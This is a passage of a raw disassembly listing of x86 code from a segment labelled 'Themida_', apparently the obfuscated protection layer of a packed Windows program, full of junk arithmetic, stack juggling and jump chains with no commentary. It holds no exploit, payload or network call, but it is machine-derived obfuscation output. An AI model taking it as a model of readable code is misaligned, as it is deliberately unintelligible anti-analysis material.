		push	[esp-8+arg_4]
		pop	ebx
		add	esp, 4
		or	eax, eax
		jz	sub_592857
		push	edx
		push	esi
		sub	esp, 4
		mov	[esp+0], edi
		jmp	sub_590B70
; END OF FUNCTION CHUNK	FOR sub_59524C
; ---------------------------------------------------------------------------


loc_58D208:				; CODE XREF: Themida_:0059171Dj
		push	eax
		xor	dword ptr [esp], 3D0C1D82h
		pop	ebx
		jmp	loc_58F6B6
; ---------------------------------------------------------------------------


loc_58D216:				; CODE XREF: Themida_:00596261j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		bswap	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_594F77

; =============== S U B	R O U T	I N E =======================================



sub_58D236	proc near		; CODE XREF: sub_58EB1F-4429j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0058A79E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058C6BC SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058E652 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00591917 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 00591B4D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00593B4E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059772E SIZE 00000020 BYTES

		sub	esp, 4
		jmp	loc_591917
sub_58D236	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		push	ecx
		push	esp
		jmp	loc_594165
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58D24D:				; CODE XREF: Themida_:0058DD94j
					; sub_590467-906j
		push	edx
		mov	edx, 0FFFFFFFFh
		jmp	loc_591EB5
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_58D258:				; CODE XREF: Themida_:005909EBj
		or	esi, 7D0B5406h
		inc	esi
		xor	esi, 38647B2Eh
		add	edi, esi
		pop	esi
		sub	edi, 77F35DE0h
		pop	edx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_58EF24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595655


loc_58D27D:				; CODE XREF: sub_595655-121Aj
		sub	esi, ebp
		sub	esi, 220B2D76h
		add	esi, 2CFD2B33h
		pop	ebp
		and	eax, esi
		jmp	loc_58F954
; END OF FUNCTION CHUNK	FOR sub_595655
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590E26


loc_58D293:				; CODE XREF: sub_590E26+8j
		xor	ebp, 67F44F0Eh
		and	ebp, 75B586Ah
		push	ecx
		mov	ecx, 477A40ACh
		xor	ebp, ecx
		pop	ecx
		shr	ebp, 2
		xor	ebp, 10CAC035h
		jmp	loc_592EE5
; END OF FUNCTION CHUNK	FOR sub_590E26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B4D6


loc_58D2B6:				; CODE XREF: sub_58B4D6+55C1j
		not	edx
		or	edx, 60077B84h
		shr	edx, 8
		xor	edx, 3A1960B4h
		sub	edx, 0F0CF951Ah
		sub	ebx, 1F325105h
		sub	ebx, edx
		jmp	loc_590373
; END OF FUNCTION CHUNK	FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58D2DA:				; CODE XREF: sub_58C17E+89B4j
		mov	ecx, 35AE46A2h
		sub	ecx, edi
		jmp	loc_595921
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_58D2E6:				; CODE XREF: sub_595E21-2D95j
		xor	ebp, eax
		jmp	loc_58B239
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58D2ED:				; CODE XREF: sub_590010+1722j
		add	eax, edx
		add	eax, 2A0D12AAh
		jmp	loc_5922B2
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_58D2F9:				; CODE XREF: Themida_:0058FEB1j
		xor	ebp, 15C31B13h
		xor	ebp, 4A7A4D6Ah
		jmp	loc_5959E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59524C


loc_58D30A:				; CODE XREF: sub_59524C-25Ej
		sub	ecx, esi
		pop	esi
		mov	esi, ecx
		jmp	loc_58BA94
; END OF FUNCTION CHUNK	FOR sub_59524C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58D314:				; CODE XREF: sub_590467-5CF5j
		add	bl, 0E3h
		sub	bl, 3Dh
		jmp	loc_59357F
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_58D31F:				; CODE XREF: Themida_:0058E8ECj
		push	eax
		mov	eax, edx
		push	edi
		mov	edi, eax
		mov	esi, edi
		pop	edi
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		sub	eax, 225012F1h
		sub	eax, esi
		add	eax, 225012F1h
		pop	esi
		push	ebx
		mov	ebx, 5B98976Dh
		jmp	loc_592D57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596CA1


loc_58D34A:				; CODE XREF: sub_596CA1-AB6Bj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+8+var_8]
		pop	esp
		jmp	loc_58A530
; END OF FUNCTION CHUNK	FOR sub_596CA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58D35B:				; CODE XREF: sub_58C17E+8CE0j
		mov	ebp, 0CD51514h
		xor	ebp, 69537D08h
		dec	ebp
		jmp	loc_58D8D5
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5919E2


loc_58D36C:				; CODE XREF: sub_5919E2-63F0j
					; sub_58EF52+172Bj
		mov	ecx, esi
		pop	esi
		shl	ecx, 7
		xor	ecx, 625714FAh
		jg	loc_58E794
		xor	ecx, 9FD30FFAh
		push	edx
		push	ecx
		pop	edx
		mov	eax, edx
		jmp	loc_5946E3
; END OF FUNCTION CHUNK	FOR sub_5919E2
; ---------------------------------------------------------------------------


loc_58D38E:				; CODE XREF: Themida_:005946A4j
					; Themida_:0059690Fj
		sub	esi, 4E32513Dh
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 249D7888h
		sub	esi, edi
		jmp	loc_592A6E
; ---------------------------------------------------------------------------


loc_58D3A6:				; CODE XREF: Themida_:0059311Bj
		mov	ax, [esp]
		push	esi
		push	esp
		pop	esi
		sub	esp, 4
		jmp	loc_597A93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58D3B5:				; CODE XREF: sub_590010-3AE2j
		mov	edi, esp
		jmp	loc_58E57F
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58D3BC:				; CODE XREF: sub_58F5B5+17FAj
		mov	ebp, 78A8264Bh
		jmp	loc_5975C4
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_58D3C6:				; CODE XREF: Themida_:00591F60j
		sub	edx, eax
		sub	edx, 672B404Bh
		push	eax
		jmp	loc_58F820
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edx
		mov	edx, esp
		push	eax
		push	esi
		mov	esi, 3F1C7870h
		inc	esi
		jno	loc_5969B3
		push	esi
		not	dword ptr [esp]
		jmp	loc_58BA29
; ---------------------------------------------------------------------------
		mov	edi, [esp]
		mov	bl, bh
		pop	edi


loc_58D3F8:				; CODE XREF: Themida_:0058B65Cj
		mov	[esp], edx
		jmp	loc_595C22
; ---------------------------------------------------------------------------


loc_58D400:				; CODE XREF: Themida_:00594ADFj
					; Themida_:0059792Bj
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58D413:				; CODE XREF: sub_5916C4:loc_593AB7j
		add	esi, 0FD346D2Ah
		mov	ebx, esi
		mov	esi, [esp-4+arg_0]
		add	esp, 4
		shl	ebx, 6
		push	ebx
		not	[esp-4+arg_0]
		pop	ebx
		shr	ebx, 4
		jmp	loc_596ADF
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58D434:				; CODE XREF: sub_58F5B5-402Ej
		add	esi, 4
		jmp	loc_59460E
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_58D43F:				; CODE XREF: Themida_:0058E97Bj
		mul	cl
		movzx	cx, ah
		push	small 49BCh
		mov	[esp], cx
		jmp	loc_58FFC7
; ---------------------------------------------------------------------------


loc_58D452:				; CODE XREF: Themida_:0058C035j
		mov	ecx, 1D293A80h
		add	eax, ecx
		pop	ecx
		add	eax, 57355468h
		sub	eax, esi
		sub	eax, 57355468h
		sub	eax, 1D293A80h
		mov	esi, [esp]
		add	esp, 4
		sub	eax, ebx
		push	edi
		push	0FE67D2Dh
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_597769
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58D484:				; CODE XREF: sub_590010+3264j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_59576A
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_58D497:				; CODE XREF: sub_595123-2FE8j
		pop	ecx
		or	eax, eax
		jz	loc_58B321
		push	dword ptr [edi+28h]
		push	ebp
		mov	ebp, 4FC95A1Eh
		push	esi
		mov	esi, 10A703A4h
		add	[esp+0Ch+var_4], esi
		jmp	loc_59350A
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59338C


loc_58D4B8:				; CODE XREF: sub_59338C-57Ej
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_58DC97
; END OF FUNCTION CHUNK	FOR sub_59338C
; ---------------------------------------------------------------------------


loc_58D4C3:				; CODE XREF: Themida_:0058ED7Fj
		push	ecx
		mov	ecx, 34A14552h
		or	ecx, 7B375689h
		jmp	loc_591067
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5919E2


loc_58D4D4:				; CODE XREF: sub_5919E2-7531j
		add	ecx, edx
		add	ecx, 4D811A70h
		mov	dword ptr [ecx], 0D6F6CAAh
		sub	esp, 4
		jmp	loc_594E8C
; END OF FUNCTION CHUNK	FOR sub_5919E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58D4ED:				; CODE XREF: sub_590010-39FFj
					; Themida_:0058F4FBj
		push	74C2h
		mov	[esp+8+var_8], eax
		push	3BC5320Ch
		pop	eax
		push	ebp
		mov	ebp, 77D1A17h
		not	ebp
		inc	ebp
		shl	ebp, 5
		add	ebp, 1
		xor	ebp, 17031D2Ah
		and	ebp, 565E5BEFh
		xor	ebp, 236C402Bh
		xor	eax, ebp
		jmp	loc_592661
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595655


loc_58D526:				; CODE XREF: sub_595655-5CEAj
		pop	ebx
		inc	ebx
		push	ebp
		jmp	loc_592607
; END OF FUNCTION CHUNK	FOR sub_595655
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5921D8


loc_58D52E:				; CODE XREF: sub_5921D8+Aj
		mov	bl, 41h
		mov	al, 24h
		add	al, 9Bh
		add	al, bl
		sub	al, 9Bh
		pop	ebx
		sub	al, 38h
		jz	loc_593152
		jmp	loc_58D770
; END OF FUNCTION CHUNK	FOR sub_5921D8
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	7A8Bh
		mov	[esp], eax
		jmp	loc_58CF48
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58D557:				; CODE XREF: sub_5916C4+267Bj
		mov	dh, 50h
		push	ebx
		push	edx
		push	cx
		push	ebx
		mov	bl, 30h
		add	bl, 0EDh
		jl	loc_58A9F3
		add	bl, 76h
		shr	bl, 5
		jns	loc_58DD51
		shl	bl, 1
		jns	loc_58FD5F
		jmp	loc_591516
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_58D582:				; CODE XREF: Themida_:0058C7B0j
		mov	edx, 71364793h
		shr	edx, 2
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 1C4D91E0h
		xor	edx, esi
		pop	esi
		add	esi, edx
		pop	edx
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		and	[esp], eax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_58D5B0:				; CODE XREF: sub_5938B9-3088j
		pop	ebx
		push	ecx
		mov	ecx, 66FE2553h
		sub	edi, ecx
		jmp	loc_597FA4
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------


loc_58D5BE:				; CODE XREF: Themida_:00590462j
		mov	edx, 4
		add	esi, edx
		mov	edx, [esp]
		jmp	loc_58DDAB
; ---------------------------------------------------------------------------


loc_58D5CD:				; CODE XREF: Themida_:0059653Aj
		push	ecx
		push	edx
		mov	edx, 5379141Fh
		push	edx
		jmp	loc_58B111
; ---------------------------------------------------------------------------


loc_58D5DA:				; CODE XREF: Themida_:0058C57Fj
		mov	ecx, esp
		jmp	loc_58C0E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58D5E1:				; CODE XREF: sub_58C17E+3450j
		mov	ebp, 2C425684h
		add	ebx, ebp
		pop	ebp
		jmp	loc_5947F8
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58D5EE:				; CODE XREF: sub_590467-1FE5j
		sub	bh, 6Bh
		add	bh, ch
		jmp	loc_596425
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594654


loc_58D5F8:				; CODE XREF: sub_594654-11CAj
		mov	[esp+0Ch+var_C], ecx
		mov	ecx, 46870560h
		xor	ecx, 16606035h
		neg	ecx
		shl	ecx, 1
		shl	ecx, 7
		jmp	loc_591FF5
; END OF FUNCTION CHUNK	FOR sub_594654
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58D612:				; CODE XREF: sub_58F5B5+8719j
		shl	esi, 2
		jnp	loc_58FB23
		sub	esi, 32A79037h
		mov	eax, esi
		pop	esi
		dec	eax
		jl	loc_58DBDF
		jmp	loc_594A3E
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_58D630:				; CODE XREF: Themida_:00592210j
					; Themida_:0059586Ej
		add	eax, edi
		jmp	loc_595529
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_58E2E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58D642:				; CODE XREF: sub_58F5B5+1C5Bj
		add	ah, 3Bh
		or	cl, ah
		mov	eax, [esp-4+arg_0]
		add	esp, 4
		add	cl, 37h
		sub	bl, cl
		jmp	loc_593765
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_58D65A:				; CODE XREF: Themida_:00593E54j
		pop	ebp
		push	ebp
		jmp	loc_58C596
; ---------------------------------------------------------------------------


loc_58D661:				; CODE XREF: Themida_:005979D7j
		shl	eax, 3
		push	edi
		push	esi
		push	1AA654C2h
		jmp	loc_5911F6
; ---------------------------------------------------------------------------


loc_58D670:				; CODE XREF: Themida_:00593F68j
		add	edx, 56592BF6h
		xor	ebp, edx
		pop	edx
		sub	ebx, 4B52234h
		sub	ebx, ebp
		jmp	loc_59608D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58D686:				; CODE XREF: sub_58C17E+4237j
		mov	esi, 24102F2Fh
		neg	esi
		xor	esi, 40C25178h
		or	esi, 2D1215A0h
		jno	loc_5909F0
		shl	esi, 5
		jmp	loc_58E495
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
		dec	ebp
		and	bl, 8Fh
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		push	7E31h
		mov	[esp], esp
		jmp	loc_592194
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58D6C5:				; CODE XREF: sub_58F5B5:loc_597CF6j
		xor	ebp, 347A4849h
		jno	loc_593C0E
		sub	ebp, 4291057Dh
		mov	bh, bh
		or	al, 0AAh


loc_58D6DB:				; CODE XREF: Themida_:0059558Bj
		add	[esp-8+arg_8], ebp
		push	[esp-8+arg_4]
		pop	ebp
		jmp	sub_58E980
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5919E2


loc_58D6E8:				; CODE XREF: sub_5919E2+478Cj
		add	esp, 4
		pop	ecx


loc_58D6EF:				; CODE XREF: sub_58F5B5-527Bj
		push	6413h
		mov	[esp+0], ecx
		push	eax
		mov	eax, 14105794h
		inc	eax
		shr	eax, 1
		not	eax
		push	ebp
		jmp	loc_5973F1
; END OF FUNCTION CHUNK	FOR sub_5919E2
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		push	7E53h
		mov	[esp], ebx
		mov	ebx, 39AC15F7h
		shr	ebx, 3
		shl	ebx, 2
		jmp	loc_591EBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B4D6


loc_58D739:				; CODE XREF: sub_58B4D6-FDj
		xor	eax, 21421DB3h
		add	[esp+0Ch+var_8], eax
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		mov	eax, [esp+8+var_8]
		add	esp, 4
		add	eax, 4
		push	edx
		mov	edx, 2
		add	eax, 2A2A0168h
		sub	eax, edx
		sub	eax, 2A2A0168h
		mov	edx, [esp+8+var_8]
		jmp	loc_58F293
; END OF FUNCTION CHUNK	FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58D770:				; CODE XREF: sub_58C17E+A42j
					; sub_5921D8-4C97j
		not	al
		jmp	loc_58B4BB
; ---------------------------------------------------------------------------


loc_58D777:				; CODE XREF: sub_58C17E+A5B4j
		add	ebp, esi
		push	eax
		mov	eax, 4C593841h
		neg	eax
		dec	eax
		inc	eax
		jmp	loc_59674C
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58D788:				; CODE XREF: Themida_:0058F94Fj
		add	eax, 2
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	3251h
		mov	[esp], ebx
		mov	ebx, esp
		push	eax
		mov	eax, 1A747F12h
		add	eax, 56A51816h
		or	eax, 75603220h
		push	ebp
		mov	ebp, 2633313Bh
		push	edx
		mov	edx, 74B55F0h
		sub	edx, 0E1FD49C1h
		and	ebp, edx
		jmp	loc_5973C6
; ---------------------------------------------------------------------------


loc_58D7C8:				; CODE XREF: Themida_:0058FC02j
		sub	edi, 320C48E6h
		neg	edi
		neg	edi
		neg	edi
		add	edi, 0D31D238Dh
		mov	edx, edi
		jmp	loc_58ECB6
; ---------------------------------------------------------------------------


loc_58D7E1:				; CODE XREF: Themida_:0058B827j
		add	dword ptr [esp+4], 6DEE53C8h
		pop	ebx
		jmp	loc_58EF89
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58D7EF:				; CODE XREF: sub_590467-441Cj
		add	dl, 93h
		and	al, dl
		pop	edx
		sub	al, 0Fh
		add	bl, 0C9h
		add	bl, al
		sub	bl, 0C9h
		jmp	loc_5914E9
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_58D804:				; CODE XREF: Themida_:00590CD4j
		add	ecx, 4
		push	7E8Ah
		mov	[esp], ebp
		push	esi
		jmp	loc_592D08
; ---------------------------------------------------------------------------
		neg	word ptr [esp]
		pushf
		jmp	loc_58E495
; ---------------------------------------------------------------------------


loc_58D822:				; CODE XREF: Themida_:0058C45Fj
		add	ecx, 2
		xchg	ecx, [esp]
		mov	esp, [esp]
		ror	word ptr [esp],	cl
		pushf
		jmp	loc_58EFC5
; ---------------------------------------------------------------------------


loc_58D835:				; CODE XREF: Themida_:00591B8Aj
		pop	edi
		xor	[esp+4], ebx
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5941B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58D852:				; CODE XREF: sub_590467+1C25j
					; sub_5916CB+48C2j
		mov	edi, 4C76708Ah
		jmp	sub_5942E3
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58D85C:				; CODE XREF: sub_5EC2E8-5E6A4j
		shl	ah, 2
		or	ah, 0FEh
		inc	ah
		jmp	loc_58A58E
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58D869:				; CODE XREF: sub_58C17E+97B1j
		add	ecx, 0F38ABCCFh
		add	ebp, 24C13372h
		jmp	loc_593157
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58D87A:				; CODE XREF: Themida_:0058FBB5j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_596857
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58D883:				; CODE XREF: sub_590467+7950j
		or	edi, 6FA162E0h
		sub	edi, 0D04526Dh
		jmp	loc_59405C
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_58D894:				; CODE XREF: sub_5938B9-34F7j
		mov	ebx, 60550EF9h
		jmp	loc_58B549
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------


loc_58D89E:				; CODE XREF: Themida_:0058FC3Fj
		mov	ebp, esp
		jmp	loc_595DBE
; ---------------------------------------------------------------------------


loc_58D8A5:				; CODE XREF: Themida_:00593257j
		xor	edx, eax
		pop	eax
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_5920E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_58D8B7:				; CODE XREF: sub_59762D-CA05j
					; Themida_:00595FD5j
		sub	bl, 0D5h
		push	cx
		mov	cl, 6Ch
		jmp	loc_58F6B1
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------


loc_58D8C3:				; CODE XREF: Themida_:00594DDBj
		mov	edi, eax
		pop	eax
		push	edi
		xchg	ebx, [esp]
		not	ebx
		xchg	ebx, [esp]
		pop	edi
		jmp	loc_59429B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58D8D5:				; CODE XREF: sub_58C17E+11E9j
		sub	ebp, 2B8E2343h
		not	ebp
		push	eax
		push	edi
		mov	edi, 5196398Ch
		jmp	loc_593663
; ---------------------------------------------------------------------------


loc_58D8E9:				; CODE XREF: sub_58C17E+8BE8j
		pop	esp
		test	cl, al
		pushf
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58D8F2:				; CODE XREF: Themida_:0058AE44j
		push	3DDAh
		jmp	loc_594794
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58D8FC:				; CODE XREF: sub_5EC2E8-5F215j
		add	esp, 4
		push	[esp+1Ch+var_1C]
		pop	eax
		sub	esp, 4
		mov	[esp+20h+var_20], ebx
		mov	ebx, esp
		push	edx
		mov	edx, 8A95E47h
		jmp	loc_58E4EB
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58D919:				; CODE XREF: sub_5916C4-6CC3j
					; sub_5916C4-66E7j
		sub	bl, 7Eh
		add	bl, 75h
		sub	bl, 0F9h
		add	al, bl
		pop	ebx
		pop	ebx
		jmp	loc_58CA87
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58D92B:				; CODE XREF: sub_58C17E+806Aj
		pop	edx
		jmp	loc_58C336
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_58D931:				; CODE XREF: sub_595123+3Fj
		push	[esp+0Ch+var_C]
		jmp	loc_5944BC
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------


loc_58D939:				; CODE XREF: Themida_:00590949j
					; Themida_:005968CFj
		mov	ebp, 581A0570h
		shl	ebp, 5
		jmp	loc_590BFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B70


loc_58D946:				; CODE XREF: sub_590B70-5A21j
		shl	eax, 3
		jmp	loc_59238D
; END OF FUNCTION CHUNK	FOR sub_590B70
; ---------------------------------------------------------------------------


loc_58D94E:				; CODE XREF: Themida_:00593450j
		shr	edx, 2
		and	edx, 6E0275E6h
		jle	loc_59368D
		push	esi
		mov	esi, 103853A5h
		neg	esi
		xor	esi, 3FA426FFh
		sub	esi, 4A13137Ch
		jmp	loc_593064
; ---------------------------------------------------------------------------


loc_58D976:				; CODE XREF: Themida_:0058A979j
		add	ecx, 0B1921A9Eh
		add	edi, ecx
		pop	ecx
		jmp	loc_590CAB
; ---------------------------------------------------------------------------


loc_58D984:				; CODE XREF: Themida_:0059263Aj
		mov	edx, ebx
		pop	ebx
		add	eax, edx
		jmp	loc_590631
; ---------------------------------------------------------------------------


loc_58D98E:				; CODE XREF: Themida_:00596900j
		shr	ebx, 5
		jmp	loc_595E67
; ---------------------------------------------------------------------------


loc_58D996:				; CODE XREF: Themida_:005963F9j
		push	edx
		jmp	loc_5929FC

; =============== S U B	R O U T	I N E =======================================



sub_58D99C	proc near		; CODE XREF: sub_58C17E+38C2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058C050 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058C064 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058C2DF SIZE 00000041 BYTES
; FUNCTION CHUNK AT 0058C3BC SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058DCC8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058EB80 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00591149 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005915DB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00591703 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005926D2 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00592834 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00594200 SIZE 0000001F BYTES

		push	ebp
		push	27302C7Ah
		pop	ebp
		jmp	loc_58DCC8
sub_58D99C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_58D9A8:				; CODE XREF: Themida_:0059168Aj
		sub	ebp, 56774CF8h
		add	ebp, ebx
		jmp	loc_592F9B
; ---------------------------------------------------------------------------


loc_58D9B5:				; CODE XREF: Themida_:005947D7j
		push	esp
		pop	edx
		add	edx, 4
		push	ebx
		push	4
		jmp	loc_58DA9F
; ---------------------------------------------------------------------------


loc_58D9C8:				; CODE XREF: Themida_:0058C4F3j
		sub	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		jmp	loc_595746
; ---------------------------------------------------------------------------


loc_58D9E0:				; CODE XREF: Themida_:0058FBAAj
		push	esi
		mov	esi, 2C422628h
		mov	edx, 87E46Dh
		jmp	loc_595B14
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_58D9F0:				; CODE XREF: sub_595123-39AEj
		xor	edx, ebp
		mov	ebp, [esp+10h+var_10]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_591613
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------


loc_58DA02:				; CODE XREF: Themida_:00590AD4j
		mov	[esp], edx
		mov	edx, 38A57BF4h
		xor	edx, 350446F3h
		push	edx
		not	dword ptr [esp]
		jmp	loc_58E2DA
; ---------------------------------------------------------------------------
